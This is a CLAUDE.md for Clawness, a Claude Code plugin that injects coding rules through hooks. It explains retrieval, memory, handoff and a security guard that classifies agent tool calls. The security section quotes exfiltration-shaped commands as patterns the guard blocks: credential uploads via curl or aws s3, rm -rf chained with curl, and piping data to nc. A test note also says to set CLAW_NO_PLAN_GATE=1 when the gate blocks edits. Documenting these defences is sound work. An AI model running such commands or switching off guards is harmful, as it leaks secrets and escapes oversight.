Clawness
CLAUDE.md5 starsChanged 4 months agoMITView on GitHub
Orientation for agents/devs working on this repo. User-facing docs live in README.md; release history in CHANGELOG.md. This file captures architecture, conventions, and the why behind non-obvious decisions.
- Reads credentials
- Deletes or force-pushes
- Installs packages
- Commits and pushes
In this repository17 other files it gives its agents.
- openclaw/CLAUDE.mdCLAUDE.md
- addSkill
- audit-rulesSkill
- bootstrapSkill
- claude-mdSkill
- eval-setSkill
- messagingSkill
- openclaw-auditSkill
- perfSkill
- refreshSkill
- reviewSkill
- security-auditSkill
- statusSkill
- testSkill
- user-docsSkill
- vuln-huntSkill
- vuln-reportSkill
The file
We split this CLAUDE.md into the rules it gives an agent
6 rules. About 0 are common, 2 are distinctive, and 4 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈2
Distinctive · estimate
This author's own choices. Worth a look.
4
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 257
Don't "simplify" this by stamping folders.
- Very specific: line 374
Default threshold 6000 estimated tokens (CLAW_CLAUDE_MD_LIMIT): above that the file outweighs Clawness's entire injection at full stretch …
- Very specific: line 429
The model must be carried across two hook events: ONLY SessionStart receives a model field (and the docs mark it optional — hence the …
- Distinctive: line 435
Don't "simplify" this into one hook — neither event has both halves.
- Very specific: line 572
NOT vendored. They update independently, they're the untrusted-instructions surface the trust ledger exists for, and none emits ingestible …
- Very specific: line 839
Test: python -m pytest tests/ (set CLAW_NO_PLAN_GATE=1 if the gate blocks your edits in this repo — but unset it before running the suite, …
≈ “Common” is an estimate: at least 1 in 5 of the 26,980 CLAUDE.md files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
CLAUDE.md — working on Clawness
Orientation for agents/devs working on this repo. User-facing docs live in README.md; release history in CHANGELOG.md. This file captures architecture, conventions, and the why behind non-obvious decisions.
What this is
A Claude Code plugin that retrieves relevant coding rules and injects them
into every prompt via a UserPromptSubmit hook. Pure Python; PyYAML is the only
dependency. No ML models, no services, no Docker.
Architecture (request flow)
hooks/claude_hook.py(UserPromptSubmit) loads global rules (plugin/clonerules/) + project rules (<project>/.clawness/rules/), retrieves, prints the block to stdout → Claude sees it.- Retrieval engine =
clawness/core.py: BM25 + TF-IDF fused via RRF, over a concept-expanded token stream (_CONCEPT_GROUPS) + light stemming. Mandatory rules (rules/_mandatory/) always injected; rest ranked + budget-capped. A relevance floor (CLAW_MIN_RELEVANCE, default 0.06, gauged on TF-IDF cosine — not RRF, which is rank-based) drops scattershot matches so signal-less prompts inject few/no ranked rules. Codebase-aware: the hook detects the project stack (detect_stack→scan_project, fresh each prompt) and passes it toClawness; off-stack language/framework rules (_STACK_DOMAINSminus detected) face a higher floor (CLAW_OFFSTACK_MIN_RELEVANCE, default 0.15) so e.g. a Python repo doesn't surface SQL/React noise, while strong cross-domain matches still pass. Cross-cutting domains (general/meta/workflows/security/testing) are never penalized.science/researchare cross-cutting but topically NARROW (_TOPICAL_DOMAINS), so they take a middle floor (CLAW_TOPICAL_MIN_RELEVANCE, default 0.12) between the base and off-stack floors: un-gated, so a researcher in a bare/LaTeX-only directory still gets them, but they must genuinely match. At the base floor (1.3.0) 11 of 30 routine dev prompts surfaced one; the stack filter makes this WORSE, not better, since suppressing off-stack rules frees top-k slots these then fill. That is also whyclawness query(no stack) cannot see this class of bug — drive the real hook against a project fixture instead.cfd/julia/fortran/matlab/rare the mirror case (_NARROW_STACK_DOMAINS, 1.6.0): stack-gated AND vocabulary-colliding, so off-stack they take a fourth floor ABOVE the ordinary one (CLAW_NARROW_MIN_RELEVANCE, default 0.22). Their core words are ordinary dev words — measured against the real hook in a Python repo, "the solver is not converging, fix the residual bug" scored CFD-CONVERGE-001 at 0.190 and "vectorize this dataframe loop" pulled in MATLAB (0.193) and R (0.163), all clearing the 0.15 off-stack floor. Routine dev prompts top out at 0.193; an explicit ask ("which turbulence model for this openfoam case") starts at 0.264, so 0.22 sits in the gap. The high bar costs them nothing where they matter — in their OWN project they are on-stack and the floor never applies. Don't fold them back into the plain off-stack tier: unlike sql/docker (a Python service really does talk to Postgres) there is no such thing as needing Fortran conventions while writing TypeScript. Note_floor_formust test the narrow set BEFORE returning the off-stack floor — these domains are in_STACK_DOMAINStoo, so the reverse order makes the tier dead code. Passing no stack (CLI/eval) disables the penalty, so eval is unaffected. ~4ms/prompt + ~10ms scan (still ~3% of the ~400ms hook, which is dominated by interpreter startup). The stack scan walks the tree once; it does not glob per pattern (1.18.0).Path.globis NOT recursive, so for ten versions every*.py/*.css/*.sql/*.texdetector only ever saw the repo ROOT — a project keeping its stylesheets insrc/styles/never triggeredcss, and the manifest detectors masked it well enough that nobody noticed.rglobis not the fix:**/*.pymeasures ~121ms against ~0.4ms shallow, on a path that re-runs uncached every prompt. So_walk_projectlists the tree ONCE, bounded at depth 4 / 4000 entries and skippinginit.SCAN_SKIP_DIRS(one source of truth: a directory not worth searching for a hostname is not worth searching for a stack — the set lives ininitandguardimports it, NOT the reverse, because importingguardhere would put its ~13ms of regex compilation on every prompt), and_pattern_hitsmatches every pattern against that one listing — by BASENAME at any depth, or by trailing path segments for a pattern that carries a/. Matching is indexed, notfnmatch.filterper pattern: filtering all ~50 patterns over the walked names measured ~9ms, more than the walk itself, so bare*.extpatterns (most of them) resolve through an extension dict and only the rest compile a cached matcher. A leading./opts a detector back OUT of recursion (./main.py,./app.py,./DESCRIPTION): "a main.py at the top of the project" is a fair guess at a web app, "somewhere in the tree" is not — unanchored, this repo's owntests/fixtures/vuln/app.pydraggedfastapiin. Expect a detector to need anchoring whenever its filename is common as a nested file.coverage.detect_uncovereddeliberately stays a shallow root glob — it drives "Clawness has no rules for your stack", which must not fire on one vendored.rb. Session-aware re-injection (clawness/session_state.py): the mandatory block (identical every turn) renders in full only on prompt 1 and everyCLAW_FULL_EVERY-th prompt after (default 5); other turns get a one-line id list — the rules stay just as binding, only their re-statement shrinks. State is a per-session JSON file in the OS temp dir (never the project), fails toward a full render on any error. Project memory does NOT ride this cadence — see below. - Project memory (
<project>/.clawness/memory.md, logic inclawness/memory.py): a per-codebase lessons log, appended after the rules block. Retrieved, not dumped (since 1.2.0):parse_memorysplits the file into## Alwaysentries (pinned, always injected, capped byCLAW_MEMORY_PIN_BUDGET) and## Lessonsentries, whichrank_lessonsranks against the prompt — same BM25 + TF-IDF + RRF primitives as the rules, so a 200-entry log still costs a flat handful of lines. HTML comments and headings are stripped: they're for the human editing the file and cost ~107 tokens/turn on an otherwise empty log, which is what prompted the rework. Three deliberate choices:- Memory ranks in its OWN pass, never merged into
Clawness._ranked_rules. Lessons can't displace rules fromtop_k, rules can't displace lessons, andrank_idsstays rule-only sotests/ground_truth.jsonand the CI eval floors are immune to whatever a user writes in their memory file. memory.pyhas its own stopword list. Across 113 rules, IDF flattens "this"/"the"/"needs" on its own; across a 4-40 entry log those words look discriminating, and without the filter "rename THIS variable" matched "BUILDKIT=1 on THIS machine" above the floor. Don't remove it thinking IDF covers it.CLAW_MEMORY_MIN_RELEVANCEdefaults to 0.20, not the rules' 0.06. Small-corpus cosines run hot; measured, genuine hits score 0.44-0.70 and incidental overlap 0.07-0.09, so 0.20 sits in the gap. Because the block is already prompt-specific and ~3 lines, it ships every turn rather than being abbreviated.memory_changed(session_state) now drivesforce_recentinstead of a cadence: the newest entries show on the session's first prompt and on any turn after the file changed, so a lesson written mid-session is never invisible. Memory (and the few fixed suggested-action lines) sit outsideCLAW_BUDGETby design — counting them in would make rule selection vary with memory length; total injection ≈CLAW_BUDGET+CLAW_MEMORY_BUDGET+ a few fixed lines.ENF-MEM-001(mandatory) is the single rule telling Claude to maintain the file and carries the numeric contract (one line, <=120 chars, max 3 pinned, prune past 40); it absorbed the near-duplicate rankedWF-LESSONS-001, which is gone. The file is auto-created on first session byhooks/memory_init.py(SessionStart) — gated to git work trees, opt-outCLAW_NO_MEMORY; it injects a note (likegit_check) so Claude announces the file to the user, since hooks can't prompt directly. That hook has a second, independently gated concern (1.8.0): offering the.gitignoreblock for.clawness/. Same consent shape — it asks, never edits.memory.mdandrules/are meant to be committed;handoff.md,handoffs/and the ledgers are per-machine. The block is an allowlist (.clawness/*plus!for the two shared paths) so a ledger added in a future version is ignored by default, and the trailing/*is load-bearing — ignoring the bare directory stops git descending and the negations silently do nothing (tests/test_memory.pypins this by applying the block for real and askinggit check-ignore). Coverage is asked of git (check-ignore), not of.gitignore's text, so a global or wholesale rule counts and is left alone. It needs its own ledger (.clawness/gitignore.json) because, unlike creating memory.md, a declined offer isn't self-limiting; checked LAST, as everywhere else. The two halves don't gate each other: a project that predates 1.8.0 has a memory.md already and still needs the ignore rule.
- Memory ranks in its OWN pass, never merged into
- Context-pressure watch (
clawness/context_watch.py, called fromclaude_hook): reads the session's own transcript (transcript_pathin the hook payload; falls back to reconstructing<config>/projects/<slugified-cwd>/<session_id>.jsonl) and warns the user before the window fills and quality degrades. Rides the existing UserPromptSubmit hook rather than adding one — it's a file tail plus arithmetic (~0.5ms), not worth another process spawn per prompt.- Context size is read, not estimated. The last assistant entry's
input_tokens + cache_creation_input_tokens + cache_read_input_tokensIS the prompt that was just sent. Only the last 256KB of the file is read (a transcript reaches several MB; a 6MB tail costs ~0.7ms), walking backwards to the newest usage record. - The window is read off the model id only where the id determines it. Fable,
Sonnet 5+ and Opus 4.7+ are natively 1M in Claude Code (no
[1m]variant exists;CLAUDE_CODE_DISABLE_1M_CONTEXT=1reverts them to 200k), sonative_windowmaps the transcript'smessage.modelto 1M. For opt-in-window models the id can't say which window the session got.infer_limittherefore goesCLAW_CONTEXT_LIMIT→CLAUDE_CODE_MAX_CONTEXT_TOKENS(declared_window) → native-1M model id → the[1m]marker onmodelin settings(.local).json → observed-usage tier bump.declared_windowis Claude Code's own window override for gateway/non-Claude ids (GLM via OpenRouter), and it mirrors the docs' cases for when Claude Code honours it — not on a recognized Claude id unlessDISABLE_COMPACT, not on an unrecognized[1m]id unlessCLAUDE_CODE_DISABLE_1M_CONTEXT— so a variable left in the shell can't shrink a native-1M session that Claude Code isn't shrinking. An undeclared non-Claude id falls to the 200k tier, which is also Claude Code's assumption for it. Don't drop either middle tier: without them a 1M session false-alarms all through 140k-200k (an Opus 5.5 session at 158k was told "79% full" before 1.19.0), which is exactly how users learn to ignore the warning. - Levels:
warn(70%, brief mention),urgent(85%, recommend a fresh session and offer a handoff + memory write), andsurge— a single turn adding >=12% of the window with <=5 turns of headroom left, so a session filling fast is flagged while there's still room to act. BelowMIN_TOKENS_TO_REPORT(20k) it never speaks. - Each level alerts at most once per session (
should_alert_context); escalation warn→urgent passes, repeats don't. The condition stays true once reached, so without dedup it would fire every prompt for the rest of the session. - Fails silent on every path, opt-out
CLAW_NO_CONTEXT_WATCH.
- Context size is read, not estimated. The last assistant entry's
- Session handoff (
clawness/handoff.py+hooks/handoff_check.py, SessionStart): the other half of the context watch. At ~85% full it offers to write<project>/.clawness/handoff.md; the SessionStart hook injects that file when the next session in the project starts, so the user never has to remember it exists or know its path.WF-HANDOFF-001(ranked) tells Claude where and how to write one.- handoff.md and memory.md are different things and must not be merged. memory.md accumulates durable lessons and is committed/shared; handoff.md is one transient "here's where I was", overwritten each time and personal (gitignore it).
- The note injects the handoff's CONTENT, not a pointer. A pointer costs the next session a tool call and depends on Claude choosing to follow it — the whole point is that the user shouldn't have to shepherd the pickup.
- The file's existence IS the state — a handoff at that path hasn't been picked
up. There is deliberately no age cutoff or done-flag: an old handoff nobody
archived is still outstanding.
archive_handoffmoves it to.clawness/handoffs/done/<timestamp>.mdwhen superseded (a new one is written, or the user says it's finished), which clears the live slot and keeps history. Nothing is ever deleted; an over-eager archive then costs nothing. Age IS shown in the note, but only as information — it never branches the instruction. - "Carry on" means START, not summarize-and-wait (1.6.0). The instruction used
to end "then wait for them. Don't start the work unless they ask", which threw
away the reason the handoff exists — the user wrote it so the next session wouldn't
need an interview. It is now conditional, and must stay conditional: SessionStart
fires before the user's first message, so the note cannot know whether they will say
"carry on" or open a fresh task, and it has to carry both branches. What makes the
continue branch safe is the template's
## Open questionssection — the note bounds questions to what is listed there, so "don't ask" can't mean "guess". If you ever drop that section, restore the interview. - The session name is a SUGGESTION, and is now opt-in, default OFF (1.9.0;
gated 1.11.0). An unnamed session is titled from the user's first message, so
every pickup reads "carry on" in their history — the one phrase all pickups
share. Claude Code has a built-in
/rename [name](alias/name; bare, it generates a kebab name from the conversation). Neither Claude nor a manual-pickup note can apply it, since SessionStart can't know yet whether the user will pick the handoff up; the auto-start path (below) DOES title the session, via SessionStart'ssessionTitlefield.suggest_session_namederives a name from the handoff's#heading and, whenCLAW_HANDOFF_SUGGEST_NAMEis set, the note surfaces the one-liner once, on the pickup branch only — the heading is the wrong name for a session the user opened on something else. Surfacing it on every pickup proved more nagging than it was worth, so the clause is silent by default; only the note mention is gated,suggest_session_nameitself stays live and tested. It returns "" (and the note says nothing) when the heading has no letters after cleaning, which is exactly the template's default# Handoff — {date}: a suggestion the user has to read and reject costs more than silence. Don't "improve" this by writingname/nameSourceinto<config>/sessions/<pid>.json— that file is the CLI's own live state, in an undocumented shape, and it may well hold it in memory anyway. - Truncation keeps the head (budget
CLAW_HANDOFF_BUDGET, default 2000) — opposite of the lessons log, because a handoff's summary and state are written at the top.## Open questionsis last and therefore the first thing truncated away; that's the right trade (it usually says "none") andtests/test_handoff.pypins it rather than leaving it undefined. Opt-outCLAW_NO_HANDOFF. - Auto-start (1.19.0): a handoff marked
**Autostart:** yesstarts itself. Typing "carry on" was the last interview left. Interactive:hooks/handoff_autostart.pyis registered withasyncRewakeand exits 2, which wakes an idle Claude with the instruction as a system reminder; that is the ONLY documented way a hook can start work in an interactive session. Headless:handoff_checkreturns JSON withinitialUserMessage, which becomes the firstclaude -pturn. The user still has to open a session (or/clear): nothing can start one for them. The guards are the design, don't loosen them: consent per handoff (the marker, written only when the user agreed, which the urgent context alert now asks in the same breath as the handoff offer); freshness (CLAW_HANDOFF_AUTOSTART_HOURS, default 12; unlike the pickup NOTE, starting work unasked is an action, so an age bound is right here); once per handoff, keyed on its mtime in.clawness/handoff_autostart.jsonso a rewrite re-arms (headless skips the ledger, since a scripted loop wants to continue every run);startup/clearsources only. The async hook sleeps (CLAW_HANDOFF_AUTOSTART_DELAY, default 2s) BEFORE claiming, sohandoff_checkhas rendered the autostart note first. Unverified live: the docs say the wake "opens the input box with the system reminder already visible"; whether Claude then acts before the user types needs a real-session test. If it doesn't, the autostart note still makes any first message ("go") start the work. Opt-outCLAW_NO_HANDOFF_AUTOSTART.
- Framework-version awareness (
VERSION_WATCH_*inclawness/init.py, surfaced bystack_detect):scan_projectreturns aversionsdict alongsidedomains, and the SessionStart note reads "Next.js 14.2, React 18.3" rather than bare labels.- Parsed at SessionStart ONLY.
detect_stack(per-prompt) still readsdomainsand ignoresversions, so the hot path is untouched.scan_projectre-runs on every prompt uncached — don't move version parsing onto that path without a TTL cache first (theguard_provenance_cache.jsonpattern). - Unparseable means omitted, never guessed.
*,latest, a git URL or a workspace protocol yield "" and the framework falls back to its bare label. A wrong version is worse than none: it gets acted on. - The watch list is deliberately short — only frameworks whose majors change the code
you write (App Router vs Pages, Pydantic v1 vs v2, SQLAlchemy 1.4 vs 2.0). It is not
an inventory; the manifest is right there.
GEN-INSTALLED-VER-001is the durable half, and it is distinct fromGEN-DEPS-001/ENF-SEC-005, which are about choosing a version for a NEW dependency rather than matching an existing one. 6b. Corpus staleness (clawness/staleness.py, surfaced bystack_detect'scheck_staleness; remedy inskills/refresh/SKILL.md): a rule may carryapplies_to/verified/sourcesrecording the versions it was established against, and the note fires when the project declares one past that range. - The relevance floor cannot catch this. It detects unfamiliar vocabulary; a major bump keeps the words ("route", "cache", "app router") and changes their meaning, so a 14-era rule scores like an ordinary match on a v17 prompt. Measured on the live corpus: NX-CACHE-001 at 0.112, NX-ROUTE-001 at 0.121.
- Stamps are per RULE, never per domain. A domain range is the union of its rules' ranges — structurally the widest claim available — and too-wide fails silent while too-narrow produces a visible false alarm that gets corrected. Don't "simplify" this by stamping folders.
- Only a verified stamp arms the warning (
is_armed):applies_towithoutverifiedandsourcesis asserted, not established, and stays silent. The feature therefore ships doing nothing until real review has happened — that is the honest behaviour, not a shortcoming. Establishing a range is an OUTPUT of review; there is no way to derive it (git dates are a weak proxy, rule text names an API not a version). - Grammar is an inclusive
"13-15"/"15"/"1.4-2.0", one or two numeric components per bound — the shape_clean_versionproduces. Ceilings pad with a sentinel ("15"covers 15.9) because padding with 0 would false-alarm on 15.1. Open-ended ("13-") is deliberately inexpressible: "and everything after" is the claim nobody has evidence for. Below-floor mismatches are silent — the corpus is written forwards, so warning there fires on every un-upgraded project. - The join key is the DETECTOR's label (
"Next.js"), since that is howscan_projectkeysversions. A typo'd label never matches, so the check goes silently inert while looking configured — which is whyclawness lintvalidates membership inWATCHED_LABELSmechanically. That is the check to watch fail first (TST-FAILFIRST-001). - The note orients; it does not commission work, and its text is a tested
artifact (
TestNoteText). An earlier attempt had Clawness author rule files from the automatic path and it wrote heaps of them, eating the session — the same failure as 1.7.0's CLAUDE.md remedy, and for the same reason: a SessionStart note fires before the user has said what they came for. So the note names/clawness:refreshand starts nothing, permits only a passively triggered one-line append to.clawness/memory.md(SESSION_BACKSTOP, a judgment call — the real bound is "if you happen to establish… while doing the user's work"), and never names.clawness/rules/. - Reads stamps from global AND project rules, project winning by id, so rules
/clawness:refreshgenerates are stale-checked by the same mechanism when the project moves again. Without that they'd be the one class that never can be. - The ledger keys on the fact, not a date (
.clawness/staleness.jsonstores label → detected version): once per mismatch, re-arming when the version moves. A "checked today" flag was rejected — it goes silent for the rest of the day if the user upgrades at 2pm having been checked at 9am, and re-asks forever once declined. Same shape asclaude_md_check's size ledger. Revisit only if a future version asks npm/PyPI what the current major is (network I/O, where a TTL cache becomes correct).unaskedis called LAST; opt-outCLAW_NO_STALENESS_NOTE; fails silent on every path. - Don't auto-suppress stale rules. A rule that's 80% right beats silence, provided Claude knows to check — which is what the note buys.
- Known limit: covers only the ~14
VERSION_WATCH_*packages, detects version drift only (not a framework abandoned outright, nor a rule wrong when written). - Four whole domains are structurally unstampable, found while stamping for
1.9.0 — don't rediscover them.
pythonhas no join label at all: the watch list is frameworks, not the interpreter, so a"Python"key fails lint and there is nothing else aPY-*rule can key on. Adding one would mean detecting the interpreter version, which_python_version(a dependency reader) does not do. And thefastapi-labelled rules are deliberately left bare because FastAPI ships0.x:_clean_versionyields two components, so the effective major is the minor, which moves every few weeks — any ceiling false-alarms almost immediately. The version-sensitive claims in that domain hang offPydanticandSQLAlchemyinstead, which have real majors.typescriptandcssare unstampable for the opposite reason — the label has a fine major, the CLAIM doesn't. "Enablestrict, preferunknowntoany", "??not||", "Flexbox for one dimension, Grid for two" were true before TypeScript 7 and will be true after 8, so a ceiling on them buys exactly one guaranteed false alarm per major. (csshas no Tailwind rule at all — theTailwindlabel is inVERSION_WATCH_JSfor the stack note's benefit, not because anything keys on it. Check before assuming a label implies corpus.) The general shape: a stamp is only worth writing where the major changes the claim — the label having a major is necessary, not sufficient. - A review can find the rule WRONG, not just unstamped, and that is the point.
Two of the 1.9.0 domains turned up rules teaching a hazard that had reversed:
SCI-ARRAY-001on pandas views (3.0's Copy-on-Write inverted it — chained assignment now silently no-ops where it used to mutate-and-warn) andCAP-WEBVIEW-001on the Status Bar plugin (inert under Capacitor 8's unconditional edge-to-edge). Prefer rewriting the rule to carry BOTH eras over capping it at the old major: a ceiling makes users on the old version see a note about a rule that is still correct for them, while the rewrite serves everyone and the stamp then records the range you actually checked.
- Parsed at SessionStart ONLY.
6c. New coverage after an upgrade (clawness/upgrade.py, surfaced by
stack_detect's check_upgrade): when Clawness gains detection or rules for a
stack, a project that already IS that stack starts benefiting automatically —
retrieval runs the whole corpus each prompt and the stack filter simply stops
penalizing the newly-detected domain. Nothing needs installing. What the user
does not get automatically is awareness, which is all this provides.
- Gated on
__version__changing, so the steady state is one small JSON read. It rides thescan_projectcallstack_detectalready makes, so an upgrade turn costs a listing ofrules/plus a set difference — and it needed no new hook registration, unlike a standalone SessionStart hook. - Silent on a project's FIRST session. With no ledger every domain is
"new", which is noise; the first run records and says nothing. Same
first-session reasoning
claude_md_checkdocuments. - The note says what now MATCHES and does not claim to know why. The
ledger stores
detected ∩ available, so a diff means "these apply now and didn't at the last check" — true whether the corpus grew or the project did. Distinguishing them needs the old corpus's domain list, and the wording would then outrun the data. It is useful either way, so neutral costs nothing._mandatoryis excluded fromavailable_domains: those bypass retrieval and the stack filter, so they can never be "newly matched". - A corrupt ledger is treated as a first session — record, stay quiet.
This is the OPPOSITE of
coverage.unasked, which warns twice rather than never, and the asymmetry is the point: a missed uncovered-stack warning means the user never learns Clawness is doing little for them, while a missed new-coverage note costs only an announcement about rules that are already working. A spurious "new coverage" note is the false alarm that teaches people to ignore the real one. - Like every note here it orients and commissions nothing — the rules are
already live, so there is nothing to run or author, and
test_note_names_the_version_and_labels_and_commissions_nothingpins that. Opt-outCLAW_NO_UPGRADE_NOTE; needs a git root; fails silent.
- Changelog check (
hooks/changelog_check.py, SessionStart): reminds when a changelog exists, and asks once per project, ever when one doesn't — ledger at.clawness/changelog.json,should_askcalled LAST so a session that would have stayed quiet doesn't burn the one shot. Never creates the file itself; same consent shape asgit_check'sgit init. Opt-outs:CLAW_NO_CHANGELOG_CHECK, or a.clawness/changelog-check-offmarker. The nag ledgers (changelog.json,model_advice.json,claude_md.json,sast.json) are deliberately NOT guard control files — forging one suppresses a question, not a guard, and listing them would make routine.clawness/writes start asking. - CLAUDE.md size check (
hooks/claude_md_check.py, SessionStart) + the routing clause inENF-MEM-001: the two halves of keeping CLAUDE.md and.clawness/memory.mdfrom fighting over "remember this".- The economics are the whole argument. CLAUDE.md is loaded by the harness, in
full, on every turn, before any hook runs — the one context cost nothing here can
cap, while the rules block is budgeted and the lessons log is ranked and budgeted.
Default threshold 6000 estimated tokens (
CLAW_CLAUDE_MD_LIMIT): above that the file outweighs Clawness's entire injection at full stretch (~851 mandatory + ~3,149 ranked), forever. This repo's own is ~9,151. - The split is THREE-way and the bulk goes to
.clawness/rules/, not memory.md. memory.md is sized for a lessons log (top-3, ~1200 chars, 120/entry, merge past 40) — a 36k-char CLAUDE.md is 300+ entries to surface three lines, with the line cap shredding the rationale that was the payload. Project rules take the same ranking engine with no line cap and the full rule format. One-line traps only go to memory. - Anything shaped like "don't undo this" STAYS in CLAUDE.md. Retrieval is lossy, and that content is load-bearing exactly when the prompt gives no hint it applies. A missed rule is a slightly worse answer; a missed "don't undo this" is the regression it existed to prevent — see the plan gate sitting off for a month.
- Indexing CLAUDE.md like memory.md was rejected, don't rebuild it. The harness has already loaded it by hook time and UserPromptSubmit can only append, so ranked chunks duplicate the full copy. The corollary: making CLAUDE.md cheaper is necessarily destructive.
- The hook is the diagnosis;
skills/claude-md/SKILL.mdis the remedy (1.8.0). 1.7.0 had the SessionStart note offer a guided three-way relocation. Dogfooding it here worked and that was the problem — it ate most of a session opened for something else. The bug was the timing, not the content: a SessionStart note fires before the user has said what they came for, so it can't propose a long destructive refactor. The content moved verbatim into/clawness:claude-md, where the user typing the command IS the consent, and the note now names that plus Claude Code's/doctorand starts neither. If a later version wants the hook to do more, improve the skill instead. @pathimports don't reduce cost, and the docs are explicit: "imported files are expanded and loaded into context at launch", recursive to four hops. So reorganising CLAUDE.md into@references — much the most popular version of this advice — moves zero tokens, and neither do.claude/rules/files withoutpaths:frontmatter. The only mechanisms that actually defer cost arepaths:-scoped.claude/rules/, nested<subdir>/CLAUDE.md, skills, and our own ranked.clawness/rules/. The check still doesn't follow@path(that means reimplementing the harness's parser), so its number under-reports an import-split file — a known-real false negative that errs toward silence.- Firing on the project's FIRST session instead was rejected. CLAUDE.md is usually absent or small then; the bloat accrues over months, so first-session gating would never fire for the case the check exists for.
- The ledger stores the SIZE, not a boolean (unlike
changelog.json, which answers a yes/no question once). Re-arms at 1.5x growth: "asked at 6k, silent forever at 30k" is the same absent-prompt failure as the old plan-gate off switch. A ledger that saysaskedbut carries no size counts as answered. - Tokens are estimated at chars/4, never tokenized (PyYAML stays the only dependency),
so the note says "roughly".
@pathimports are deliberately not followed — that needs the harness's import semantics verified first, and under-reporting a split-up CLAUDE.md is a false negative, which costs nothing. ENF-MEM-001carries the routing half: lessons go to memory.md, never CLAUDE.md. It governs everything Claude writes but cannot touch the user typing#, which writes straight to CLAUDE.md with no hook in the path — say so in the README rather than pretending the routing is total. The rule sits at 485 of the 500-char mandatory ceiling, so anything added to it has to be paid for by trimming.- Opt-outs
CLAW_NO_CLAUDE_MD_CHECK,.clawness/claude-md-check-off.should_askcalled LAST, fails silent.
- The economics are the whole argument. CLAUDE.md is loaded by the harness, in
full, on every turn, before any hook runs — the one context cost nothing here can
cap, while the rules block is budgeted and the lessons log is ranked and budgeted.
Default threshold 6000 estimated tokens (
- Model-tier advisor (
clawness/model_advisor.py, stashed bystack_detect, surfaced byclaude_hookon prompt 1): compares the session's model tier against what the opening task looks like and injects a note when they look mismatched.- The model must be carried across two hook events. ONLY
SessionStartreceives amodelfield (and the docs mark it optional — hence theread_settings_model()fallback);UserPromptSubmitnever does. But at SessionStart there is no task yet, and codebase complexity is the wrong signal (a README edit in a huge repo is trivial). Sostack_detectstashes the model viasession_state.record_model, and prompt 1 ofclaude_hookreads it back. Don't "simplify" this into one hook — neither event has both halves. - Evidence, not verdict. The note reports the matched signals and explicitly licenses Claude to say nothing. The heuristic WILL misfire; letting Claude filter against the real task means a wrong guess usually dies before the user sees it. A hook asserting "switch to X" would surface every false positive.
- The thresholds are asymmetric on purpose. An upgrade hint needs 2 signal groups. A downgrade needs 2 and zero upgrade signals and a short prompt, because a wrong downgrade is invisible harm — a shallower answer on hard work reads exactly like a good one — while a wrong upgrade costs visible money.
- opus and fable are both
TIER_TOP. There is no defensible ordering between them, so a top-tier session is never told to move. - Fails silent, not open (the opposite of the context watch): an unknown model
or unreadable ledger means say nothing. Dedup is once per project per tier in
.clawness/model_advice.json, so a tier change re-arms it.CLAW_NO_MODEL_ADVISOR. tests/model_advisor_cases.jsonis its eval set, and the CI floor is zero false positives on routine prompts. Grow that file when tuning signals.
- The model must be carried across two hook events. ONLY
- Session security (defense, not retrieval — independent of the engine):
hooks/access_guard.py(PreToolUse; logic inclawness/guard.py) classifies each Bash/Write/Edit/Read call →allow/ask/deny. A hook decision overrides the user's permission allowlist, soaskfires even on "always-allowed" tools — the answer to approval fatigue.denyis a HARD block with no in-Claude override (verified on the VS Code build — the user can't approve it inline; retrying re-fires), so reserve it for ~zero-legit-use / exfil-signature cases: cloud-metadata, catastrophicrm -rf(a filesystem root / home / a system dir itself — a delete DEEPER under a system dir is ASK, not deny), reading a local secret into a network call, uploading a local secret (incl. via a cloud CLI —aws s3 cp ~/.aws/credentials s3://…), and inline-capture exfil —$(…)/backtick output embedded in a data upload to a host absent from the codebase. The exfil denies are evaluated UP FRONT (before any ASK tier) on purpose —_classify_bashreturns on first match, so a compound command (rm -rf ~/x && curl -d "$(cat s)" https://absent/) would otherwise let an early ASK clause mask a later deny; don't reorder them below the ASK checks. A shell>/>>redirect to a control file (_bash_redirect_hits_control_file) is also caught, since it bypasses the Write-tool gate. Crucially a bare token env var (Bearer $API_TOKEN) is NOT a deny signal — it's routine auth, so a token-authenticated POST to an internal host absent from committed source only ASKS (see_INLINE_CAPTURE_REvs_VAR_EXPANSION_RE).ask(which DOES surface an approve dialog) covers the dual-use and scope cases: pipe-to-shell andgit push --force(not--force-with-lease, allowed), writes outside the project root (temp/plan files exempt viais_plan_file), credential-shaped reads, named installs, deep-system-dir deletes, data piped into a raw socket (… | nc), any cloud-storage upload (aws s3 cp/gsutil/az blob), and a credential-named URL download. The_denyreason text must not tell the model to "proceed on confirmation" — it can't; it points to the real escape hatches (run it yourself /CLAW_NO_ACCESS_GUARD=1). Data-bearing curl/scp egress is provenance-tiered:value_in_projectsearches the destination host across the project's own text files — a bounded walk that EXCLUDES.claude/so a hijacked skill can't launder a host into "trusted", 15-min verdict cache — endogenous (in the repo) → ask, absent → ask (or deny for the inline-capture shape). Note a known host still ASKS for a data upload; provenance only flips the inline-capture case between deny and ask, so it can never buy a silent egress. Cloud uploads are deliberately NOT provenance-downgraded to allow — source is forgeable (a rogue postinstall or injected Write could plant a bucket name), soaws s3 cp <secret> s3://planted-bucketwould be silent exfil; every cloud upload asks once per bucket instead. Asks once per destination per session: for egress the dedup key is the host/bucket (_egress_targets), not the exact command, so iterating upload payloads to one host asks once; an out-of-project write keys on its parent DIRECTORY (approve a location once — e.g. the~/.claudememory dir — and sibling writes there don't re-nag; a security-control file stays keyed per-file so blessing a dir can't cover a sibling kill switch); other tiers key on the path/command. Keys are sha256-hashed so raw command text never touches disk. Two-phase: PreToolUse records a targetpending; a PostToolUse companion (same matcher) promotes it toconfirmedonly once the call actually completes AND the payload carries atool_response(execution evidence — defense-in-depth so a declined call never settles even if a build fired PostToolUse for it), so a declined/abandoned ask re-asks on retry instead of going silent for the session. Ledger/cache writes are atomic (atomic_write_text, temp +os.replace) so concurrent sessions never read a torn file. Pure-logic core, fails open,CLAW_NO_ACCESS_GUARD.hooks/trust_ledger.py(SessionStart; logic inclawness/trust.py) keeps TOFU fingerprints of skills/agents/commands/MCP servers in.clawness/trust_ledger.jsonand injects a note when one changed/appeared;clawness audit-skillsscans those artifacts for injection tells. Fails open,CLAW_NO_TRUST_LEDGER.
- Deterministic security scan + findings ledger (
clawness/scan.py+clawness/findings.py, surfaced byclawness scanand the/clawness:security-auditskill): the discovery+memory halves of the security audit. This is NOT a hook — it runs from the CLI/skill, never per prompt.
